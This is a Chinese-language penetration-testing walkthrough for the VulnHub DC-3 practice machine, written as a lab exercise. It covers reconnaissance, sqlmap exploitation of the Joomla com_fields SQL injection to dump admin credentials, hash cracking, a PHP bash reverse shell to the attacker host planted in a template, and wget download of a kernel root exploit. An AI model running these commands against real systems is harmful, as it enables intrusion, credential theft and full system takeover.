Vulnhub-DC-3系统渗透测试教程
DC-1 和 DC-2 已经拆完了,这篇接着干 DC-3。VulnHub 里的第三个靶机,难度比前两个上了一档,枚举和提权的思路都有新东西。
1 信息采集
我们使用arp扫描工具获取该系统的IP地址信息。
arp-scan -l

我们发现该系统的IP地址是:172.16.1.133
既然已经知道了IP地址,那么我们进行下一步,看看该IP地址上存在哪些端口信息,方便我们更进一步渗透。
nmap -A -p- 172.16.1.133

我们发现该系统只开启了一个Apache的服务80端口,我们使用dirsearch工具进行目录探测,查看是否有可疑进去接口。
dirsearch -u http://172.16.1.133

我们发现扫描到了一个http://172.16.1.133/administrator的路径,我们尝试访问该路径,看看有什么发现哦!

我们经过访问发现该系统部署了Joomla的web应用框架,我们使用Joomla的扫描工具识别其版本,随着版本在深入采集他的漏洞信息。

扫描结果确认版本为 Joomla 3.7.0。该版本存在已知的 com_fields SQL 注入漏洞(CVE-2017-8917)。
2.SQL注入获取管理账号和密码
2.1 确认sql注入点并获取数据库名称
sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
参数说明:
-u "http://...":指定目标 URL。这是告诉 sqlmap 要测试哪个网址,这里包含了可能存在漏洞的完整路径和参数。 -p list[fullordering]:指定要测试的参数。由于 URL 里有很多参数,-p 明确告诉 sqlmap 只针对 list[fullordering] 这个参数进行注入测试,避免浪费时间在其他参数上。 --level=5:设置测试等级为最高(5级)。等级越高,sqlmap 测试的覆盖面越广、越深入。默认是 1 级,5 级会测试更多的注入点和边界情况,比如检查 Cookie、User-Agent 等 HTTP 头。 --risk=3:设置风险等级为最高(3级)。风险越高,sqlmap 会使用更具侵入性的测试载荷。比如,可能会尝试基于时间的盲注(让数据库执行 SLEEP 函数)或更复杂的查询,这有极小概率对数据库造成影响,但在授权渗透测试中为了全面检测通常可以接受。 --random-agent:使用随机 User-Agent。每次请求时,sqlmap 会随机选择一个浏览器的 User-Agent 字符串。这可以模拟不同的客户端,有时能帮助绕过某些基于 User-Agent 的简单拦截或检测机制。 --dbs:枚举数据库名。这是本次命令的目标动作。一旦注入点被确认并利用成功,sqlmap 会尝试列出后端数据库管理系统(DBMS)中存在的所有数据库名称
经过以上的深度探测,我们探测出了该系统下面的数据库版本、数据库名称等信息。

从结果中识别出 Joomla 数据库,通常名为 joomladb。
2.2 获取数据表名称
我们可以在原有的sql注入命令中增加两个参数,-D joomladb --tables,进行表名的探测,这两个参数的意思是 -D数据库名称 --tables表示在注入点上对数据库中的表名称进行探测。
sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

我们经过深度探测,已经探测到了数据库的表名称,其中发现有一个表特别显眼,就是#__users这个表,通常情况下,这个表主要存储的就是用户名和密码了。
2.3 获取用户名和密码
从上面我们已经获取了数据表的名称,现在我们进行数据表中获取用户和账号,但是为了更加详细的获取账号和密码,我们需要知道他的表中列名称。在原有的命令上增加一个参数,就是-T “#__users”,其中-T代表表名称,--column代表获取列名称。
sqlmap -u "http://172.16.1.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

我们获取了#__users表中存在username,password两个字段,那么我们直接dump出这个两个字段的信息。
sqlmap -u "http://192.168.x.x/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump -p list[fullordering]
这个命令中,我们增加了一个参数,就是-C,代表数据库中的字段内容,dump是把数据拿出来。

现在我们已经拿到了admin账号和密码,但是发现该密码是hash值,因此还需我们对该hash进行破解
2.4 破解密码哈希
我们把密码的hash写入txt文件中,使用工具john进行hash破解。
john admin.txt --wordlist=/usr/share/wordlists/rockyou.txt

获取账号密码:admin 密码是snoopy

登录进入后台,现在已经进入后台,那么我们可以通过修改模板文件,编写getshell进入系统后台。
2.5 后台Getshell
在后台导航至 Extensions → Templates → Templates,选择一个模板(如 protostar 或 beez3),点击模板名称进入编辑界面。点击 New File,创建一个 .php 文件,写入反弹 Shell 代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.1.132/4444 0>&1"); ?>然后我们在kali系统使用nc进行监听kali系统的4444端口。
nc -lvnp 4444
我们在浏览器访问以下地址:
http://172.16.1.133/templates/Beez3/test.php
访问以后我们返回kali系统,发现已经连接到了DC-3系统的web应用目录下面。

现在我们进入了该目录下,我们先看看该目录下的有什么数据。

我们尝试cd到根目录,看看是否需要什么权限

我们发现最多只能到VAR目录下面,因此想到根目录没有权限,因此我们需要进行提权。
2.6 提权root
我们使用uname -a查询系统的版本和内核版本,从系统层面查找提权漏洞。

该系统是Ubuntu,内核版本是 4.4.0-21-generic
2.7 上传并执行内核提权 EXP
该内核存在 CVE-2016-4557(Exploit-DB 39772)。在 Kali 上搜索并下载 EXP,我们在github上面下载好脚本以后上传到我们的kali系统,我个人不建议在靶机下面直接下载,先下载到kali系统,通过kali系统进行上传,或者是在web界面下面上传页可以。这里我们选择从kali系统上传,在kali系统搭建建议web。
python3 -m http.server 8000 在kali系统执行
在反弹shell下面使用kali系统的建议web下载到靶机。
www-data@DC-3:/var/www/html$ wget http://172.16.1.132:8000/39772.zip

下载成功以后,对其进行解压,解压以后生成了39772这个目录,我进入该目录,查看信息。

进入39772这个目录,查看发现有两个tar的压缩文件,我们对其进行解压并对其进行执行。
cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput

当我们看到下图所示的信息时,说明我们的提取已经取得成功,下面我就可以获取该系统的flag信息啦!

我们使用cd到root目录下面,查了flag信息文件。

我们使用cat查看the-flag.txt文件,获取flag内容。

注意:有时候也会使用脏牛提权,但是根据大部分的测试,发现脏牛提权会让靶机奔溃,这里我们优先使用39772的提权文件。如果有大佬可以给出宝贝的意见。
